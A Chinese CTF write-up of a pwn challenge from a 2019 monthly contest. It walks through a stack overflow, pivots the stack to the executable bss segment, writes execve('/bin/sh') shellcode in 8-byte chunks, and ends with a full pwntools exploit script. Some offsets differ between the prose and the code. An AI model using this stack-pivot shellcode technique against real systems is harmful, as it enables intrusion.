美文网首页
2019年7月15日做题笔记(安恒7月月赛的一道pwn栈迁移)

2019年7月15日做题笔记(安恒7月月赛的一道pwn栈迁移)

作者: Ginkgo_Alkaid | 来源:发表于2019-07-16 00:08 被阅读0次

题目地址,感谢hebtuerror404师傅一直收集题目:

https://github.com/hebtuerror404/Anheng_cup_month/tree/master/2019-07/Pwn/unexploit

安恒7月月赛中的一道pwn题目,考察的是栈迁移和shellcode利用,首先看一下安全机制,全部关闭,说明可以执行shellcode

保护机制

漏洞点在read函数这里,输入的字节比buf长,是一个典型的栈溢出,但是没有预留后门函数,可以通过写shellcode的方式来利用,但是写入的字节数太少,可以选择栈迁移的方式,迁移到RWX的段上。

漏洞点

可以看到0x600000到0x602000是满足要求的,我们可以把栈迁移到上面去:

vmmap

思路就是将栈迁移到bss段上,由于每次只能写入20字节,所以得进行多次写入,每次写入8字节的shellcode,由于选用的是24字节的shellcode,所以需要分3次写入,每次写入还需要将ebp加8个字节,下面开始进行构造:

pay = 'a'*pad + p64(bss+8) + p64(readaddr) + p64(0xdeadbeef)

第一次read函数输入之后,栈的情况,可以看出栈中的老RBP已被覆盖:

1

第一次执行LEAVE,LEAVE指令是将栈顶指针指向栈底指针,然后POP备份的原帧指针到RBP寄存器:

相当于:

mov rsp rbp
pop rbp
图片.png

pay2 = sc2[0:8] + p64(bss+0x48) + p64(readaddr) + p64(0)

第二次read函数接收输入后,是往0x601100的bss段地址中写入部分shellcode,并且用0x601148来覆盖RBP,在执行完LEAVE函数后,RSP会和这一次的RBP相等,为0x601008,接下来RIP会继续回到read函数:

2

上面的分析如图所示,继续跳转:

图片.png

pay3 = p64(0) + p64(bss+0x10) + p64(readaddr) + p64(0)

第三次read函数接收输入后,可以看到输入的值放在当前栈底值减8的地方,也就是0x601140的地方:

3

在函数结束后,RSP和RBP如下所示:

图片.png

pay4 = sc2[8:16] + p64(bss+0x48) + p64(readaddr) + p64(0)

在第四次函数接收输入,将8个字节的shellcode写入,并且将RBP覆盖为0x601148,返回地址仍然为0x40068,24字节的shellcode需要分四次写入

4

接着继续到达LEAVE,此时的栈的情况是这样的:

图片.png

pay5 = p64(0) + p64(bss+0x18) + p64(readaddr) + p64(0)

在第五次函数接收输入,可以看到输入的值放在当前栈底值减8的地方,也就是0x601140的地方:

5

执行完LEAVE后的RBP和RSP如下图所示:

图片.png

pay6 = sc2[16:24] + p64(bss+0x48) + p64(readaddr) + p64(0)

在第六次函数接收输入,将最后8个字节的shellcode写入,并且将RBP覆盖为0x601148,返回地址仍然为0x40068,可以看到输入的值放在当前栈底值减8的地方,也就是0x601148的地方:


6

执行完LEAVE后的RBP和RSP如下图所示:


图片.png
pay7 = p64(0) + p64(0) + p64(bss) + p64(0)
在第七次函数接收输入,可以看到输入的值放在当前栈底值减8的地方,也就是0x601140的地方:
图片.png

最后一次输入直接跳转到输入好的shellcode开始处就可以了,最后成功拿到shell:

shell

exp代码如下:

#coding:utf-8
from pwn import *
​
context.log_level = 'debug'
​
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
p = process ('./unexploit')
#p = remote('101.71.29.5',10002)
​
bss = 0x601100
read_addr = 0x40068a
​
def payload(a,b,c,d):
  p.send(a+b+c+d)
​
payload('a'*8,p64(bss+8),p64(read_addr),p64(0xdeadbeef))
payload(shellcode[0:8],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(bss+0x10),p64(read_addr),p64(0))
payload(shellcode[8:16],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(bss+0x18),p64(read_addr),p64(0))
payload(shellcode[16:24],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(0),p64(bss),p64(0))
​
p.interactive()

相关文章

网友评论

      本文标题:2019年7月15日做题笔记(安恒7月月赛的一道pwn栈迁移)

      本文链接:https://www.haomeiwen.com/subject/vusykctx.html